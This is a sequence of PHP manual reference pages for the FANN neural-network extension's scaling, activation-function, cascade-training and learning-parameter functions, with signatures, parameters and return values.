fann_scale_input_train_data — Scales the inputs in the training data to the specified range

Description

bool fann_scale_input_train_data ( resource $train_data , float $new_min , float $new_max )

Scales the inputs in the training data to the specified range.

Parameters

train_data

Neural network training data resource.

new_min

New minimum after scaling inputs in training data.

new_max

New maximum after scaling inputs in training data.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_scale_output_train_data() - Scales the outputs in the training data to the specified range
  • fann_scale_train_data() - Scales the inputs and outputs in the training data to the specified range

User Contributed Notes

There are no user contributed notes for this page.


Scale data in input vector before feed it to ann based on previously calculated parameters

  • « fann_scale_input_train_data
  • fann_scale_output_train_data »
  • PHP Manual
  • Fann Functions
  • Scale data in input vector before feed it to ann based on previously calculated parameters

fann_scale_input

(PECL fann >= 1.0.0)

fann_scale_input — Scale data in input vector before feed it to ann based on previously calculated parameters

Description

bool fann_scale_input ( resource $ann , array $input_vector )

Scale data in input vector before feed it to ann based on previously calculated parameters.

Parameters

ann

Neural network resource.

input_vector

Input vector that will be scaled

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_descale_input() - Scale data in input vector after get it from ann based on previously calculated parameters
  • fann_scale_output() - Scale data in output vector before feed it to ann based on previously calculated parameters

User Contributed Notes

There are no user contributed notes for this page.


Scales the outputs in the training data to the specified range

  • « fann_scale_input
  • fann_scale_output »
  • PHP Manual
  • Fann Functions
  • Scales the outputs in the training data to the specified range

fann_scale_output_train_data

(PECL fann >= 1.0.0)

fann_scale_output_train_data — Scales the outputs in the training data to the specified range

Description

bool fann_scale_output_train_data ( resource $train_data , float $new_min , float $new_max )

Scales the outputs in the training data to the specified range.

Parameters

train_data

Neural network training data resource.

new_min

New minimum after scaling outputs in training data.

new_max

New maximum after scaling outputs in training data.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_scale_input_train_data() - Scales the inputs in the training data to the specified range
  • fann_scale_train_data() - Scales the inputs and outputs in the training data to the specified range

User Contributed Notes

There are no user contributed notes for this page.


Scale data in output vector before feed it to ann based on previously calculated parameters

  • « fann_scale_output_train_data
  • fann_scale_train_data »
  • PHP Manual
  • Fann Functions
  • Scale data in output vector before feed it to ann based on previously calculated parameters

fann_scale_output

(PECL fann >= 1.0.0)

fann_scale_output — Scale data in output vector before feed it to ann based on previously calculated parameters

Description

bool fann_scale_output ( resource $ann , array $output_vector )

Scale data in output vector before feed it to ann based on previously calculated parameters.

Parameters

ann

Neural network resource.

output_vector

Output vector that will be scaled

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_descale_output() - Scale data in output vector after get it from ann based on previously calculated parameters
  • fann_scale_input() - Scale data in input vector before feed it to ann based on previously calculated parameters

User Contributed Notes

There are no user contributed notes for this page.


Scales the inputs and outputs in the training data to the specified range

  • « fann_scale_output
  • fann_scale_train »
  • PHP Manual
  • Fann Functions
  • Scales the inputs and outputs in the training data to the specified range

fann_scale_train_data

(PECL fann >= 1.0.0)

fann_scale_train_data — Scales the inputs and outputs in the training data to the specified range

Description

bool fann_scale_train_data ( resource $train_data , float $new_min , float $new_max )

Scales the inputs and outputs in the training data to the specified range.

Parameters

train_data

Neural network training data resource.

new_min

New minimum after scaling inputs and outputs in training data.

new_max

New maximum after scaling inputs and outputs in training data.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_scale_output_train_data() - Scales the outputs in the training data to the specified range
  • fann_scale_input_train_data() - Scales the inputs in the training data to the specified range

User Contributed Notes

There are no user contributed notes for this page.


Scale input and output data based on previously calculated parameters

  • « fann_scale_train_data
  • fann_set_activation_function_hidden »
  • PHP Manual
  • Fann Functions
  • Scale input and output data based on previously calculated parameters

fann_scale_train

(PECL fann >= 1.0.0)

fann_scale_train — Scale input and output data based on previously calculated parameters

Description

bool fann_scale_train ( resource $ann , resource $train_data )

Scale input and output data based on previously calculated parameters.

Parameters

ann

Neural network resource.

train_data

Neural network training data resource.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_descale_train() - Descale input and output data based on previously calculated parameters
  • fann_set_scaling_params() - Calculate input and output scaling parameters for future use based on training data

User Contributed Notes

There are no user contributed notes for this page.


Sets the activation function for all of the hidden layers

  • « fann_scale_train
  • fann_set_activation_function_layer »
  • PHP Manual
  • Fann Functions
  • Sets the activation function for all of the hidden layers

fann_set_activation_function_hidden

(PECL fann >= 1.0.0)

fann_set_activation_function_hidden — Sets the activation function for all of the hidden layers

Description

bool fann_set_activation_function_hidden ( resource $ann , int $activation_function )

Sets the activation function for all of the hidden layers.

Parameters

ann

Neural network resource.

activation_function

The activation functions constant.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer
  • fann_set_activation_function_layer() - Sets the activation function for all the neurons in the supplied layer.
  • fann_set_activation_function_output() - Sets the activation function for the output layer
  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number

User Contributed Notes

There are no user contributed notes for this page.


Sets the activation function for all the neurons in the supplied layer.

  • « fann_set_activation_function_hidden
  • fann_set_activation_function_output »
  • PHP Manual
  • Fann Functions
  • Sets the activation function for all the neurons in the supplied layer.

fann_set_activation_function_layer

(PECL fann >= 1.0.0)

fann_set_activation_function_layer — Sets the activation function for all the neurons in the supplied layer.

Description

bool fann_set_activation_function_layer ( resource $ann , int $activation_function , int $layer )

Set the activation function for all the neurons in the layer number layer, counting the input layer as layer 0.

It is not possible to set activation functions for the neurons in the input layer.

Parameters

ann

Neural network resource.

activation_function

The activation functions constant.

layer

Layer number.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer
  • fann_set_activation_function_hidden() - Sets the activation function for all of the hidden layers
  • fann_set_activation_function_output() - Sets the activation function for the output layer
  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number

User Contributed Notes

There are no user contributed notes for this page.


Sets the activation function for the output layer

  • « fann_set_activation_function_layer
  • fann_set_activation_function »
  • PHP Manual
  • Fann Functions
  • Sets the activation function for the output layer

fann_set_activation_function_output

(PECL fann >= 1.0.0)

fann_set_activation_function_output — Sets the activation function for the output layer

Description

bool fann_set_activation_function_output ( resource $ann , int $activation_function )

Sets the activation function for the output layer.

Parameters

ann

Neural network resource.

activation_function

The activation functions constant.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer
  • fann_set_activation_function_layer() - Sets the activation function for all the neurons in the supplied layer.
  • fann_set_activation_function_hidden() - Sets the activation function for all of the hidden layers
  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number

User Contributed Notes

There are no user contributed notes for this page.


Sets the activation function for supplied neuron and layer

  • « fann_set_activation_function_output
  • fann_set_activation_steepness_hidden »
  • PHP Manual
  • Fann Functions
  • Sets the activation function for supplied neuron and layer

fann_set_activation_function

(PECL fann >= 1.0.0)

fann_set_activation_function — Sets the activation function for supplied neuron and layer

Description

bool fann_set_activation_function ( resource $ann , int $activation_function , int $layer , int $neuron )

Set the activation function for neuron number neuron in layer number layer, counting the input layer as layer 0.

It is not possible to set activation functions for the neurons in the input layer.

When choosing an activation function it is important to note that the activation functions have different range. FANN_SIGMOID is e.g. in the 0 - 1 range while FANN_SIGMOID_SYMMETRIC is in the -1 - 1 range and FANN_LINEAR is unbound.

The supplied activation_function value must be one of the activation functions constants.

The return value is one of the activation functions constants.

Parameters

ann

Neural network resource.

activation_function

The activation functions constant.

layer

Layer number.

neuron

Neuron number.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_set_activation_function_layer() - Sets the activation function for all the neurons in the supplied layer.
  • fann_set_activation_function_hidden() - Sets the activation function for all of the hidden layers
  • fann_set_activation_function_output() - Sets the activation function for the output layer
  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number
  • fann_get_activation_function() - Returns the activation function

User Contributed Notes

There are no user contributed notes for this page.


Sets the steepness of the activation steepness for all neurons in the all hidden layers

  • « fann_set_activation_function
  • fann_set_activation_steepness_layer »
  • PHP Manual
  • Fann Functions
  • Sets the steepness of the activation steepness for all neurons in the all hidden layers

fann_set_activation_steepness_hidden

(PECL fann >= 1.0.0)

fann_set_activation_steepness_hidden — Sets the steepness of the activation steepness for all neurons in the all hidden layers

Description

bool fann_set_activation_steepness_hidden ( resource $ann , float $activation_steepness )

Sets the steepness of the activation steepness for all neurons in the all hidden layers.

Parameters

ann

Neural network resource.

activation_steepness

The activation steepness.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number
  • fann_set_activation_steepness_layer() - Sets the activation steepness for all of the neurons in the supplied layer number
  • fann_set_activation_steepness_output() - Sets the steepness of the activation steepness in the output layer
  • fann_get_activation_steepness() - Returns the activation steepness for supplied neuron and layer number
  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer

User Contributed Notes

There are no user contributed notes for this page.


Sets the activation steepness for all of the neurons in the supplied layer number

  • « fann_set_activation_steepness_hidden
  • fann_set_activation_steepness_output »
  • PHP Manual
  • Fann Functions
  • Sets the activation steepness for all of the neurons in the supplied layer number

fann_set_activation_steepness_layer

(PECL fann >= 1.0.0)

fann_set_activation_steepness_layer — Sets the activation steepness for all of the neurons in the supplied layer number

Description

bool fann_set_activation_steepness_layer ( resource $ann , float $activation_steepness , int $layer )

Set the activation steepness for all of the neurons in layer number layer, counting the input layer as layer 0.

It is not possible to set activation steepness for the neurons in the input layer.

Parameters

ann

Neural network resource.

activation_steepness

The activation steepness.

layer

Layer number.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number
  • fann_set_activation_steepness_hidden() - Sets the steepness of the activation steepness for all neurons in the all hidden layers
  • fann_set_activation_steepness_output() - Sets the steepness of the activation steepness in the output layer
  • fann_get_activation_steepness() - Returns the activation steepness for supplied neuron and layer number
  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer

User Contributed Notes

There are no user contributed notes for this page.


Sets the steepness of the activation steepness in the output layer

  • « fann_set_activation_steepness_layer
  • fann_set_activation_steepness »
  • PHP Manual
  • Fann Functions
  • Sets the steepness of the activation steepness in the output layer

fann_set_activation_steepness_output

(PECL fann >= 1.0.0)

fann_set_activation_steepness_output — Sets the steepness of the activation steepness in the output layer

Description

bool fann_set_activation_steepness_output ( resource $ann , float $activation_steepness )

Sets the steepness of the activation steepness in the output layer.

Parameters

ann

Neural network resource.

activation_steepness

The activation steepness.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number
  • fann_set_activation_steepness_layer() - Sets the activation steepness for all of the neurons in the supplied layer number
  • fann_set_activation_steepness_hidden() - Sets the steepness of the activation steepness for all neurons in the all hidden layers
  • fann_get_activation_steepness() - Returns the activation steepness for supplied neuron and layer number
  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer

User Contributed Notes

There are no user contributed notes for this page.


Sets the activation steepness for supplied neuron and layer number

  • « fann_set_activation_steepness_output
  • fann_set_bit_fail_limit »
  • PHP Manual
  • Fann Functions
  • Sets the activation steepness for supplied neuron and layer number

fann_set_activation_steepness

(PECL fann >= 1.0.0)

fann_set_activation_steepness — Sets the activation steepness for supplied neuron and layer number

Description

bool fann_set_activation_steepness ( resource $ann , float $activation_steepness , int $layer , int $neuron )

Set the activation steepness for neuron number neuron in layer number layer, counting the input layer as layer 0.

It is not possible to set activation steepness for the neurons in the input layer.

The steepness of an activation function says something about how fast the activation function goes from the minimum to the maximum. A high value for the activation function will also give a more agressive training.

When training neural networks where the output values should be at the extremes (usually 0 and 1, depending on the activation function), a steep activation function can be used (e.g. 1.0).

The default activation steepness is 0.5.

Parameters

ann

Neural network resource.

activation_steepness

The activation steepness.

layer

Layer number.

neuron

Neuron number.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_set_activation_steepness_layer() - Sets the activation steepness for all of the neurons in the supplied layer number
  • fann_set_activation_steepness_hidden() - Sets the steepness of the activation steepness for all neurons in the all hidden layers
  • fann_set_activation_steepness_output() - Sets the steepness of the activation steepness in the output layer
  • fann_get_activation_steepness() - Returns the activation steepness for supplied neuron and layer number
  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer

User Contributed Notes

There are no user contributed notes for this page.


Set the bit fail limit used during training

  • « fann_set_activation_steepness
  • fann_set_callback »
  • PHP Manual
  • Fann Functions
  • Set the bit fail limit used during training

fann_set_bit_fail_limit

(PECL fann >= 1.0.0)

fann_set_bit_fail_limit — Set the bit fail limit used during training

Description

bool fann_set_bit_fail_limit ( resource $ann , float $bit_fail_limit )

Set the bit fail limit used during training.

Parameters

ann

Neural network resource.

bit_fail_limit

The bit fail limit.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_bit_fail_limit() - Returns the bit fail limit used during training

User Contributed Notes

There are no user contributed notes for this page.


Sets the callback function for use during training

  • « fann_set_bit_fail_limit
  • fann_set_cascade_activation_functions »
  • PHP Manual
  • Fann Functions
  • Sets the callback function for use during training

fann_set_callback

(PECL fann >= 1.0.0)

fann_set_callback — Sets the callback function for use during training

Description

bool fann_set_callback ( resource $ann , collable $callback )

Sets the callback function for use during training. It means that it is called from fann_train_on_data() or fann_train_on_file().

Parameters

ann

Neural network resource.

callback

The supplied callback function takes following parameters:

  • ann - The neural network resource
  • train - The train data resource or NULL if called from fann_train_on_file()
  • max_epochs - The maximum number of epochs the training should continue
  • epochs_between_reports - The number of epochs between calling this function
  • desired_error - The desired fann_get_MSE() or fann_get_bit_fail(), depending on the stop function chosen by fann_set_train_stop_function()
  • epochs - The current epoch

The callback should return TRUE. If it returns FALSE, the training will terminate.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_train_on_file() - Trains on an entire dataset, which is read from file, for a period of time

User Contributed Notes

There are no user contributed notes for this page.


Sets the array of cascade candidate activation functions

  • « fann_set_callback
  • fann_set_cascade_activation_steepnesses »
  • PHP Manual
  • Fann Functions
  • Sets the array of cascade candidate activation functions

fann_set_cascade_activation_functions

(PECL fann >= 1.0.0)

fann_set_cascade_activation_functions — Sets the array of cascade candidate activation functions

Description

bool fann_set_cascade_activation_functions ( resource $ann , array $cascade_activation_functions )

Sets the array of cascade candidate activation functions.

See fann_get_cascade_num_candidates() for a description of which candidate neurons will be generated by this array.

Parameters

ann

Neural network resource.

cascade_activation_functions

The array of cascade candidate activation functions.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_cascade_activation_functions_count() - Returns the number of cascade activation functions
  • fann_set_cascade_activation_functions()

User Contributed Notes

There are no user contributed notes for this page.


Sets the array of cascade candidate activation steepnesses

  • « fann_set_cascade_activation_functions
  • fann_set_cascade_candidate_change_fraction »
  • PHP Manual
  • Fann Functions
  • Sets the array of cascade candidate activation steepnesses

fann_set_cascade_activation_steepnesses

(PECL fann >= 1.0.0)

fann_set_cascade_activation_steepnesses — Sets the array of cascade candidate activation steepnesses

Description

bool fann_set_cascade_activation_steepnesses ( resource $ann , array $cascade_activation_steepnesses_count )

Sets the array of cascade candidate activation steepnesses.

See fann_get_cascade_num_candidates() for a description of which candidate neurons will be generated by this array.

Parameters

ann

Neural network resource.

cascade_activation_steepnesses_count

The array of cascade candidate activation steepnesses.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_cascade_activation_steepnesses() - Returns the cascade activation steepnesses
  • fann_get_cascade_activation_steepnesses_count() - The number of activation steepnesses

User Contributed Notes

There are no user contributed notes for this page.


Sets the cascade candidate change fraction

  • « fann_set_cascade_activation_steepnesses
  • fann_set_cascade_candidate_limit »
  • PHP Manual
  • Fann Functions
  • Sets the cascade candidate change fraction

fann_set_cascade_candidate_change_fraction

(PECL fann >= 1.0.0)

fann_set_cascade_candidate_change_fraction — Sets the cascade candidate change fraction

Description

bool fann_set_cascade_candidate_change_fraction ( resource $ann , float $cascade_candidate_change_fraction )

Sets the cascade candidate change fraction.

Parameters

ann

Neural network resource.

cascade_candidate_change_fraction

The cascade candidate change fraction.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_cascade_candidate_change_fraction() - Returns the cascade candidate change fraction

User Contributed Notes

There are no user contributed notes for this page.


Sets the candidate limit

  • « fann_set_cascade_candidate_change_fraction
  • fann_set_cascade_candidate_stagnation_epochs »
  • PHP Manual
  • Fann Functions
  • Sets the candidate limit

fann_set_cascade_candidate_limit

(PECL fann >= 1.0.0)

fann_set_cascade_candidate_limit — Sets the candidate limit

Description

bool fann_set_cascade_candidate_limit ( resource $ann , float $cascade_candidate_limit )

Sets the candidate limit.

Parameters

ann

Neural network resource.

cascade_candidate_limit

The candidate limit.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_cascade_candidate_limit() - Return the candidate limit

User Contributed Notes

There are no user contributed notes for this page.


Sets the number of cascade candidate stagnation epochs

  • « fann_set_cascade_candidate_limit
  • fann_set_cascade_max_cand_epochs »
  • PHP Manual
  • Fann Functions
  • Sets the number of cascade candidate stagnation epochs

fann_set_cascade_candidate_stagnation_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_candidate_stagnation_epochs — Sets the number of cascade candidate stagnation epochs

Description

bool fann_set_cascade_candidate_stagnation_epochs ( resource $ann , int $cascade_candidate_stagnation_epochs )

Sets the number of cascade candidate stagnation epochs.

Parameters

ann

Neural network resource.

cascade_candidate_stagnation_epochs

The number of cascade candidate stagnation epochs.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_cascade_candidate_stagnation_epochs() - Returns the number of cascade candidate stagnation epochs

User Contributed Notes

There are no user contributed notes for this page.


Sets the max candidate epochs

  • « fann_set_cascade_candidate_stagnation_epochs
  • fann_set_cascade_max_out_epochs »
  • PHP Manual
  • Fann Functions
  • Sets the max candidate epochs

fann_set_cascade_max_cand_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_max_cand_epochs — Sets the max candidate epochs

Description

bool fann_set_cascade_max_cand_epochs ( resource $ann , int $cascade_max_cand_epochs )

Sets the max candidate epochs.

Parameters

ann

Neural network resource.

cascade_max_cand_epochs

The max candidate epochs.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_cascade_max_cand_epochs() - Returns the maximum candidate epochs

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum out epochs

  • « fann_set_cascade_max_cand_epochs
  • fann_set_cascade_min_cand_epochs »
  • PHP Manual
  • Fann Functions
  • Sets the maximum out epochs

fann_set_cascade_max_out_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_max_out_epochs — Sets the maximum out epochs

Description

bool fann_set_cascade_max_out_epochs ( resource $ann , int $cascade_max_out_epochs )

Sets the maximum out epochs.

Parameters

ann

Neural network resource.

cascade_max_out_epochs

The maximum out epochs.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_cascade_max_out_epochs() - Returns the maximum out epochs

User Contributed Notes

There are no user contributed notes for this page.


Sets the min candidate epochs

  • « fann_set_cascade_max_out_epochs
  • fann_set_cascade_min_out_epochs »
  • PHP Manual
  • Fann Functions
  • Sets the min candidate epochs

fann_set_cascade_min_cand_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_min_cand_epochs — Sets the min candidate epochs

Description

bool fann_set_cascade_min_cand_epochs ( resource $ann , int $cascade_min_cand_epochs )

Sets the min candidate epochs.

Parameters

ann

Neural network resource.

cascade_min_cand_epochs

The minimum candidate epochs.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_cascade_min_cand_epochs() - Returns the minimum candidate epochs

User Contributed Notes

There are no user contributed notes for this page.


Sets the minimum out epochs

  • « fann_set_cascade_min_cand_epochs
  • fann_set_cascade_num_candidate_groups »
  • PHP Manual
  • Fann Functions
  • Sets the minimum out epochs

fann_set_cascade_min_out_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_min_out_epochs — Sets the minimum out epochs

Description

bool fann_set_cascade_min_out_epochs ( resource $ann , int $cascade_min_out_epochs )

Sets the minimum out epochs.

Parameters

ann

Neural network resource.

cascade_min_out_epochs

The minimum out epochs.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_cascade_min_out_epochs() - Returns the minimum out epochs

User Contributed Notes

There are no user contributed notes for this page.


Sets the number of candidate groups

  • « fann_set_cascade_min_out_epochs
  • fann_set_cascade_output_change_fraction »
  • PHP Manual
  • Fann Functions
  • Sets the number of candidate groups

fann_set_cascade_num_candidate_groups

(PECL fann >= 1.0.0)

fann_set_cascade_num_candidate_groups — Sets the number of candidate groups

Description

bool fann_set_cascade_num_candidate_groups ( resource $ann , int $cascade_num_candidate_groups )

Sets the number of candidate groups.

Parameters

ann

Neural network resource.

cascade_num_candidate_groups

The number of candidate groups.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_cascade_num_candidate_groups() - Returns the number of candidate groups

User Contributed Notes

There are no user contributed notes for this page.


Sets the cascade output change fraction

  • « fann_set_cascade_num_candidate_groups
  • fann_set_cascade_output_stagnation_epochs »
  • PHP Manual
  • Fann Functions
  • Sets the cascade output change fraction

fann_set_cascade_output_change_fraction

(PECL fann >= 1.0.0)

fann_set_cascade_output_change_fraction — Sets the cascade output change fraction

Description

bool fann_set_cascade_output_change_fraction ( resource $ann , float $cascade_output_change_fraction )

Sets the cascade output change fraction.

Parameters

ann

Neural network resource.

cascade_output_change_fraction

The cascade output change fraction.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_cascade_output_change_fraction() - Returns the cascade output change fraction

User Contributed Notes

There are no user contributed notes for this page.


Sets the number of cascade output stagnation epochs

  • « fann_set_cascade_output_change_fraction
  • fann_set_cascade_weight_multiplier »
  • PHP Manual
  • Fann Functions
  • Sets the number of cascade output stagnation epochs

fann_set_cascade_output_stagnation_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_output_stagnation_epochs — Sets the number of cascade output stagnation epochs

Description

bool fann_set_cascade_output_stagnation_epochs ( resource $ann , int $cascade_output_stagnation_epochs )

Sets the number of cascade output stagnation epochs.

Parameters

ann

Neural network resource.

cascade_output_stagnation_epochs

The number of cascade output stagnation epochs.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_cascade_output_stagnation_epochs() - Returns the number of cascade output stagnation epochs

User Contributed Notes

There are no user contributed notes for this page.


Sets the weight multiplier

  • « fann_set_cascade_output_stagnation_epochs
  • fann_set_error_log »
  • PHP Manual
  • Fann Functions
  • Sets the weight multiplier

fann_set_cascade_weight_multiplier

(PECL fann >= 1.0.0)

fann_set_cascade_weight_multiplier — Sets the weight multiplier

Description

bool fann_set_cascade_weight_multiplier ( resource $ann , float $cascade_weight_multiplier )

Sets the weight multiplier.

Parameters

ann

Neural network resource.

cascade_weight_multiplier

The weight multiplier.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_cascade_weight_multiplier() - Returns the weight multiplier

User Contributed Notes

There are no user contributed notes for this page.


Sets where the errors are logged to

  • « fann_set_cascade_weight_multiplier
  • fann_set_input_scaling_params »
  • PHP Manual
  • Fann Functions
  • Sets where the errors are logged to

fann_set_error_log

(PECL fann >= 1.0.0)

fann_set_error_log — Sets where the errors are logged to

Description

void fann_set_error_log ( resource $errdat , string $log_file )

Sets where the errors are logged to.

Parameters

errdat

Either neural network resource or neural network trainining data resource.

log_file

The log file path.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Calculate input scaling parameters for future use based on training data

  • « fann_set_error_log
  • fann_set_learning_momentum »
  • PHP Manual
  • Fann Functions
  • Calculate input scaling parameters for future use based on training data

fann_set_input_scaling_params

(PECL fann >= 1.0.0)

fann_set_input_scaling_params — Calculate input scaling parameters for future use based on training data

Description

bool fann_set_input_scaling_params ( resource $ann , resource $train_data , float $new_input_min , float $new_input_max )

Calculate input scaling parameters for future use based on training data.

Parameters

ann

Neural network resource.

train_data

Neural network training data resource.

new_input_min

The desired lower bound in input data after scaling (not strictly followed)

new_input_max

The desired upper bound in input data after scaling (not strictly followed)

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_set_output_scaling_params() - Calculate output scaling parameters for future use based on training data

User Contributed Notes

There are no user contributed notes for this page.


Sets the learning momentum

  • « fann_set_input_scaling_params
  • fann_set_learning_rate »
  • PHP Manual
  • Fann Functions
  • Sets the learning momentum

fann_set_learning_momentum

(PECL fann >= 1.0.0)

fann_set_learning_momentum — Sets the learning momentum

Description

bool fann_set_learning_momentum ( resource $ann , float $learning_momentum )

Sets the learning momentum.

More info available in fann_get_learning_momentum().

Parameters

ann

Neural network resource.

learning_momentum

The learning momentum.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_learning_momentum() - Returns the learning momentum
  • fann_set_training_algorithm() - Sets the training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Sets the learning rate

  • « fann_set_learning_momentum
  • fann_set_output_scaling_params »
  • PHP Manual
  • Fann Functions
  • Sets the learning rate

fann_set_learning_rate

(PECL fann >= 1.0.0)

fann_set_learning_rate — Sets the learning rate

Description

bool fann_set_learning_rate ( resource $ann , float $learning_rate )

Sets the learning rate.

More info available in fann_get_learning_rate().

Parameters

ann

Neural network resource.

learning_rate

The learning rate.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_learning_rate() - Returns the learning rate
  • fann_set_training_algorithm() - Sets the training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Calculate output scaling parameters for future use based on training data

  • « fann_set_learning_rate
  • fann_set_quickprop_decay »
  • PHP Manual
  • Fann Functions
  • Calculate output scaling parameters for future use based on training data

fann_set_output_scaling_params

(PECL fann >= 1.0.0)

fann_set_output_scaling_params — Calculate output scaling parameters for future use based on training data

Description

bool fann_set_output_scaling_params ( resource $ann , resource $train_data , float $new_output_min , float $new_output_max )

Calculate output scaling parameters for future use based on training data.

Parameters

ann

Neural network resource.

train_data

Neural network training data resource.

new_output_min

The desired lower bound in output data after scaling (not strictly followed)

new_output_max

The desired upper bound in output data after scaling (not strictly followed)

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_set_input_scaling_params() - Calculate input scaling parameters for future use based on training data

User Contributed Notes

There are no user contributed notes for this page.


Sets the quickprop decay factor

  • « fann_set_output_scaling_params
  • fann_set_quickprop_mu »
  • PHP Manual
  • Fann Functions
  • Sets the quickprop decay factor

fann_set_quickprop_decay

(PECL fann >= 1.0.0)

fann_set_quickprop_decay — Sets the quickprop decay factor

Description

bool fann_set_quickprop_decay ( resource $ann , float $quickprop_decay )

Sets the quickprop decay factor.

Parameters

ann

Neural network resource.

quickprop_decay

The quickprop decay factor.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_quickprop_decay() - Returns the decay which is a factor that weights should decrease in each iteration during quickprop training

User Contributed Notes

There are no user contributed notes for this page.


Sets the quickprop mu factor

  • « fann_set_quickprop_decay
  • fann_set_rprop_decrease_factor »
  • PHP Manual
  • Fann Functions
  • Sets the quickprop mu factor

fann_set_quickprop_mu

(PECL fann >= 1.0.0)

fann_set_quickprop_mu — Sets the quickprop mu factor

Description

bool fann_set_quickprop_mu ( resource $ann , float $quickprop_mu )

Sets the quickprop mu factor.

Parameters

ann

Neural network resource.

quickprop_mu

The mu factor.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_quickprop_mu() - Returns the mu factor

User Contributed Notes

There are no user contributed notes for this page.


Sets the decrease factor used during RPROP training

  • « fann_set_quickprop_mu
  • fann_set_rprop_delta_max »
  • PHP Manual
  • Fann Functions
  • Sets the decrease factor used during RPROP training

fann_set_rprop_decrease_factor

(PECL fann >= 1.0.0)

fann_set_rprop_decrease_factor — Sets the decrease factor used during RPROP training

Description

bool fann_set_rprop_decrease_factor ( resource $ann , float $rprop_decrease_factor )

Sets the decrease factor used during RPROP training.

Parameters

ann

Neural network resource.

rprop_decrease_factor

The decrease factor.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_rprop_decrease_factor() - Returns the increase factor used during RPROP training

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum step-size

  • « fann_set_rprop_decrease_factor
  • fann_set_rprop_delta_min »
  • PHP Manual
  • Fann Functions
  • Sets the maximum step-size

fann_set_rprop_delta_max

(PECL fann >= 1.0.0)

fann_set_rprop_delta_max — Sets the maximum step-size

Description

bool fann_set_rprop_delta_max ( resource $ann , float $rprop_delta_max )

The maximum step-size is a positive number determining how large the maximum step-size may be.

Parameters

ann

Neural network resource.

rprop_delta_max

The maximum step-size.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_rprop_delta_max() - Returns the maximum step-size
  • fann_get_rprop_delta_min() - Returns the minimum step-size

User Contributed Notes

There are no user contributed notes for this page.


Sets the minimum step-size

  • « fann_set_rprop_delta_max
  • fann_set_rprop_delta_zero »
  • PHP Manual
  • Fann Functions
  • Sets the minimum step-size

fann_set_rprop_delta_min

(PECL fann >= 1.0.0)

fann_set_rprop_delta_min — Sets the minimum step-size

Description

bool fann_set_rprop_delta_min ( resource $ann , float $rprop_delta_min )

The minimum step-size is a small positive number determining how small the minimum step-size may be.

Parameters

ann

Neural network resource.

rprop_delta_min

The minimum step-size.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_rprop_delta_min() - Returns the minimum step-size

User Contributed Notes

There are no user contributed notes for this page.


Sets the initial step-size

  • « fann_set_rprop_delta_min
  • fann_set_rprop_increase_factor »
  • PHP Manual
  • Fann Functions
  • Sets the initial step-size

